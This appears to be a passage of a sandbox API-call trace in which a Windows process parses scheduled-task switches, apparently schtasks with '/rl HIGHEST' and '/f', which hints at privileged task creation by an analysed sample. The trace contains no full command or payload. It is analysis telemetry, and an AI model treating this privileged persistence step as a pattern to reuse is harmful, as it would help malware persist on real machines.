(_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.550] lstrlenW (lpString="rl") returned 2 [0157.550] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.550] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sd|") returned 4 [0157.550] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.550] lstrlenW (lpString="|sd|") returned 4 [0157.550] lstrlenW (lpString="|rl|") returned 4 [0157.550] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0157.550] SetLastError (dwErrCode=0x490) [0157.550] lstrlenW (lpString="ed") returned 2 [0157.550] lstrlenW (lpString="ed") returned 2 [0157.550] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.550] lstrlenW (lpString="rl") returned 2 [0157.550] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.550] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|ed|") returned 4 [0157.550] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.550] lstrlenW (lpString="|ed|") returned 4 [0157.550] lstrlenW (lpString="|rl|") returned 4 [0157.550] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0157.550] SetLastError (dwErrCode=0x490) [0157.550] lstrlenW (lpString="it") returned 2 [0157.550] lstrlenW (lpString="it") returned 2 [0157.551] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.551] lstrlenW (lpString="rl") returned 2 [0157.551] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.551] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|it|") returned 4 [0157.551] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.551] lstrlenW (lpString="|it|") returned 4 [0157.551] lstrlenW (lpString="|rl|") returned 4 [0157.551] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0157.551] SetLastError (dwErrCode=0x490) [0157.551] lstrlenW (lpString="et") returned 2 [0157.551] lstrlenW (lpString="et") returned 2 [0157.551] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.551] lstrlenW (lpString="rl") returned 2 [0157.551] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.551] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|et|") returned 4 [0157.551] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.551] lstrlenW (lpString="|et|") returned 4 [0157.551] lstrlenW (lpString="|rl|") returned 4 [0157.551] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0157.551] SetLastError (dwErrCode=0x490) [0157.552] lstrlenW (lpString="k") returned 1 [0157.552] lstrlenW (lpString="k") returned 1 [0157.552] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.552] lstrlenW (lpString="rl") returned 2 [0157.552] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.552] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|k|") returned 3 [0157.552] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.552] lstrlenW (lpString="|k|") returned 3 [0157.552] lstrlenW (lpString="|rl|") returned 4 [0157.552] SetLastError (dwErrCode=0x490) [0157.552] lstrlenW (lpString="du") returned 2 [0157.552] lstrlenW (lpString="du") returned 2 [0157.552] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.552] lstrlenW (lpString="rl") returned 2 [0157.552] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.552] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|du|") returned 4 [0157.552] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.552] lstrlenW (lpString="|du|") returned 4 [0157.552] lstrlenW (lpString="|rl|") returned 4 [0157.552] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0157.552] SetLastError (dwErrCode=0x490) [0157.552] lstrlenW (lpString="ri") returned 2 [0157.552] lstrlenW (lpString="ri") returned 2 [0157.552] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.552] lstrlenW (lpString="rl") returned 2 [0157.553] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.553] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|ri|") returned 4 [0157.553] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.553] lstrlenW (lpString="|ri|") returned 4 [0157.553] lstrlenW (lpString="|rl|") returned 4 [0157.553] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0157.553] SetLastError (dwErrCode=0x490) [0157.553] lstrlenW (lpString="z") returned 1 [0157.553] lstrlenW (lpString="z") returned 1 [0157.553] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.553] lstrlenW (lpString="rl") returned 2 [0157.553] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.553] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|z|") returned 3 [0157.553] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.553] lstrlenW (lpString="|z|") returned 3 [0157.553] lstrlenW (lpString="|rl|") returned 4 [0157.553] SetLastError (dwErrCode=0x490) [0157.553] lstrlenW (lpString="f") returned 1 [0157.553] lstrlenW (lpString="f") returned 1 [0157.553] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.553] lstrlenW (lpString="rl") returned 2 [0157.553] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.553] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.554] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.554] lstrlenW (lpString="|f|") returned 3 [0157.554] lstrlenW (lpString="|rl|") returned 4 [0157.554] SetLastError (dwErrCode=0x490) [0157.554] lstrlenW (lpString="v1") returned 2 [0157.554] lstrlenW (lpString="v1") returned 2 [0157.554] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.554] lstrlenW (lpString="rl") returned 2 [0157.554] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.554] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|v1|") returned 4 [0157.554] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.554] lstrlenW (lpString="|v1|") returned 4 [0157.554] lstrlenW (lpString="|rl|") returned 4 [0157.554] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0157.554] SetLastError (dwErrCode=0x490) [0157.554] lstrlenW (lpString="xml") returned 3 [0157.554] lstrlenW (lpString="xml") returned 3 [0157.554] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.554] lstrlenW (lpString="rl") returned 2 [0157.554] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.554] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|xml|") returned 5 [0157.554] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.554] lstrlenW (lpString="|xml|") returned 5 [0157.554] lstrlenW (lpString="|rl|") returned 4 [0157.554] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0157.554] SetLastError (dwErrCode=0x490) [0157.554] lstrlenW (lpString="ec") returned 2 [0157.555] lstrlenW (lpString="ec") returned 2 [0157.555] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.555] lstrlenW (lpString="rl") returned 2 [0157.555] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.555] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|ec|") returned 4 [0157.555] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.555] lstrlenW (lpString="|ec|") returned 4 [0157.555] lstrlenW (lpString="|rl|") returned 4 [0157.555] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0157.555] SetLastError (dwErrCode=0x490) [0157.555] lstrlenW (lpString="rl") returned 2 [0157.555] lstrlenW (lpString="rl") returned 2 [0157.555] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.555] lstrlenW (lpString="rl") returned 2 [0157.555] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.555] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.555] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rl|") returned 4 [0157.555] lstrlenW (lpString="|rl|") returned 4 [0157.555] lstrlenW (lpString="|rl|") returned 4 [0157.555] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0157.555] SetLastError (dwErrCode=0x0) [0157.555] SetLastError (dwErrCode=0x0) [0157.555] lstrlenW (lpString="HIGHEST") returned 7 [0157.555] lstrlenW (lpString="-/") returned 2 [0157.555] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0157.556] SetLastError (dwErrCode=0x490) [0157.556] SetLastError (dwErrCode=0x490) [0157.556] SetLastError (dwErrCode=0x0) [0157.556] lstrlenW (lpString="HIGHEST") returned 7 [0157.556] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0157.556] SetLastError (dwErrCode=0x490) [0157.556] SetLastError (dwErrCode=0x0) [0157.556] _memicmp (_Buf1=0x26d540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.556] lstrlenW (lpString="HIGHEST") returned 7 [0157.556] lstrlenW (lpString="HIGHEST") returned 7 [0157.556] lstrlenW (lpString=" \x09") returned 2 [0157.556] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0157.556] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0157.556] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0157.556] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0157.556] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0157.556] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0157.556] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0157.556] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0157.556] GetLastError () returned 0x0 [0157.556] lstrlenW (lpString="HIGHEST") returned 7 [0157.556] lstrlenW (lpString="HIGHEST") returned 7 [0157.556] SetLastError (dwErrCode=0x0) [0157.556] SetLastError (dwErrCode=0x0) [0157.556] lstrlenW (lpString="/f") returned 2 [0157.556] lstrlenW (lpString="-/") returned 2 [0157.556] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.556] lstrlenW (lpString="create") returned 6 [0157.556] lstrlenW (lpString="create") returned 6 [0157.557] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.557] lstrlenW (lpString="f") returned 1 [0157.557] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.557] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|create|") returned 8 [0157.557] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.557] lstrlenW (lpString="|create|") returned 8 [0157.557] lstrlenW (lpString="|f|") returned 3 [0157.557] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0157.557] SetLastError (dwErrCode=0x490) [0157.557] lstrlenW (lpString="?") returned 1 [0157.557] lstrlenW (lpString="?") returned 1 [0157.557] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.557] lstrlenW (lpString="f") returned 1 [0157.557] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.557] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|?|") returned 3 [0157.557] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.557] lstrlenW (lpString="|?|") returned 3 [0157.557] lstrlenW (lpString="|f|") returned 3 [0157.557] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0157.557] SetLastError (dwErrCode=0x490) [0157.557] lstrlenW (lpString="s") returned 1 [0157.557] lstrlenW (lpString="s") returned 1 [0157.557] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.557] lstrlenW (lpString="f") returned 1 [0157.557] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.558] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|s|") returned 3 [0157.558] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.558] lstrlenW (lpString="|s|") returned 3 [0157.558] lstrlenW (lpString="|f|") returned 3 [0157.558] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0157.558] SetLastError (dwErrCode=0x490) [0157.558] lstrlenW (lpString="u") returned 1 [0157.558] lstrlenW (lpString="u") returned 1 [0157.558] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.558] lstrlenW (lpString="f") returned 1 [0157.558] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.558] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|u|") returned 3 [0157.558] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.558] lstrlenW (lpString="|u|") returned 3 [0157.558] lstrlenW (lpString="|f|") returned 3 [0157.558] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0157.558] SetLastError (dwErrCode=0x490) [0157.558] lstrlenW (lpString="p") returned 1 [0157.558] lstrlenW (lpString="p") returned 1 [0157.558] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.558] lstrlenW (lpString="f") returned 1 [0157.558] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.558] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|p|") returned 3 [0157.558] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.558] lstrlenW (lpString="|p|") returned 3 [0157.558] lstrlenW (lpString="|f|") returned 3 [0157.558] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0157.559] SetLastError (dwErrCode=0x490) [0157.559] lstrlenW (lpString="ru") returned 2 [0157.559] lstrlenW (lpString="ru") returned 2 [0157.559] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.559] lstrlenW (lpString="f") returned 1 [0157.559] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.559] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|ru|") returned 4 [0157.559] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.559] lstrlenW (lpString="|ru|") returned 4 [0157.559] lstrlenW (lpString="|f|") returned 3 [0157.559] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0157.559] SetLastError (dwErrCode=0x490) [0157.559] lstrlenW (lpString="rp") returned 2 [0157.559] lstrlenW (lpString="rp") returned 2 [0157.559] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.559] lstrlenW (lpString="f") returned 1 [0157.559] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.559] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|rp|") returned 4 [0157.559] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.559] lstrlenW (lpString="|rp|") returned 4 [0157.559] lstrlenW (lpString="|f|") returned 3 [0157.559] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0157.559] SetLastError (dwErrCode=0x490) [0157.559] lstrlenW (lpString="sc") returned 2 [0157.559] lstrlenW (lpString="sc") returned 2 [0157.560] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.560] lstrlenW (lpString="f") returned 1 [0157.560] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.560] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sc|") returned 4 [0157.560] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.560] lstrlenW (lpString="|sc|") returned 4 [0157.560] lstrlenW (lpString="|f|") returned 3 [0157.560] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0157.560] SetLastError (dwErrCode=0x490) [0157.560] lstrlenW (lpString="mo") returned 2 [0157.560] lstrlenW (lpString="mo") returned 2 [0157.560] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.560] lstrlenW (lpString="f") returned 1 [0157.560] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.560] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|mo|") returned 4 [0157.560] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.560] lstrlenW (lpString="|mo|") returned 4 [0157.560] lstrlenW (lpString="|f|") returned 3 [0157.560] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0157.560] SetLastError (dwErrCode=0x490) [0157.560] lstrlenW (lpString="d") returned 1 [0157.560] lstrlenW (lpString="d") returned 1 [0157.560] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.560] lstrlenW (lpString="f") returned 1 [0157.560] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.560] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|d|") returned 3 [0157.561] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.561] lstrlenW (lpString="|d|") returned 3 [0157.561] lstrlenW (lpString="|f|") returned 3 [0157.561] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0157.561] SetLastError (dwErrCode=0x490) [0157.561] lstrlenW (lpString="m") returned 1 [0157.561] lstrlenW (lpString="m") returned 1 [0157.561] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.561] lstrlenW (lpString="f") returned 1 [0157.561] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.561] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|m|") returned 3 [0157.561] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.561] lstrlenW (lpString="|m|") returned 3 [0157.561] lstrlenW (lpString="|f|") returned 3 [0157.561] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0157.561] SetLastError (dwErrCode=0x490) [0157.561] lstrlenW (lpString="i") returned 1 [0157.561] lstrlenW (lpString="i") returned 1 [0157.561] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.561] lstrlenW (lpString="f") returned 1 [0157.561] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.561] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|i|") returned 3 [0157.561] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.561] lstrlenW (lpString="|i|") returned 3 [0157.561] lstrlenW (lpString="|f|") returned 3 [0157.561] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0157.561] SetLastError (dwErrCode=0x490) [0157.561] lstrlenW (lpString="tn") returned 2 [0157.561] lstrlenW (lpString="tn") returned 2 [0157.561] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.562] lstrlenW (lpString="f") returned 1 [0157.562] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.562] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tn|") returned 4 [0157.562] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.562] lstrlenW (lpString="|tn|") returned 4 [0157.562] lstrlenW (lpString="|f|") returned 3 [0157.562] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0157.562] SetLastError (dwErrCode=0x490) [0157.562] lstrlenW (lpString="tr") returned 2 [0157.562] lstrlenW (lpString="tr") returned 2 [0157.562] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.562] lstrlenW (lpString="f") returned 1 [0157.562] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.562] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|tr|") returned 4 [0157.562] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.562] lstrlenW (lpString="|tr|") returned 4 [0157.562] lstrlenW (lpString="|f|") returned 3 [0157.562] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0157.562] SetLastError (dwErrCode=0x490) [0157.562] lstrlenW (lpString="st") returned 2 [0157.562] lstrlenW (lpString="st") returned 2 [0157.562] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.562] lstrlenW (lpString="f") returned 1 [0157.562] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.562] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|st|") returned 4 [0157.562] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.562] lstrlenW (lpString="|st|") returned 4 [0157.563] lstrlenW (lpString="|f|") returned 3 [0157.563] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0157.563] SetLastError (dwErrCode=0x490) [0157.563] lstrlenW (lpString="sd") returned 2 [0157.563] lstrlenW (lpString="sd") returned 2 [0157.563] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.563] lstrlenW (lpString="f") returned 1 [0157.563] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.563] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|sd|") returned 4 [0157.563] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.563] lstrlenW (lpString="|sd|") returned 4 [0157.563] lstrlenW (lpString="|f|") returned 3 [0157.563] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0157.563] SetLastError (dwErrCode=0x490) [0157.563] lstrlenW (lpString="ed") returned 2 [0157.563] lstrlenW (lpString="ed") returned 2 [0157.563] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.563] lstrlenW (lpString="f") returned 1 [0157.563] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.563] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|ed|") returned 4 [0157.563] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.563] lstrlenW (lpString="|ed|") returned 4 [0157.563] lstrlenW (lpString="|f|") returned 3 [0157.563] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0157.563] SetLastError (dwErrCode=0x490) [0157.563] lstrlenW (lpString="it") returned 2 [0157.563] lstrlenW (lpString="it") returned 2 [0157.563] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.563] lstrlenW (lpString="f") returned 1 [0157.563] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.563] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|it|") returned 4 [0157.564] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c5a8 | out: _Buffer="|f|") returned 3 [0157.564] lstrlenW (lpString="|it|") returned 4 [0157.564] lstrlenW (lpString="|f|") returned 3 [0157.564] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0157.564] SetLastError (dwErrCode=0x490) 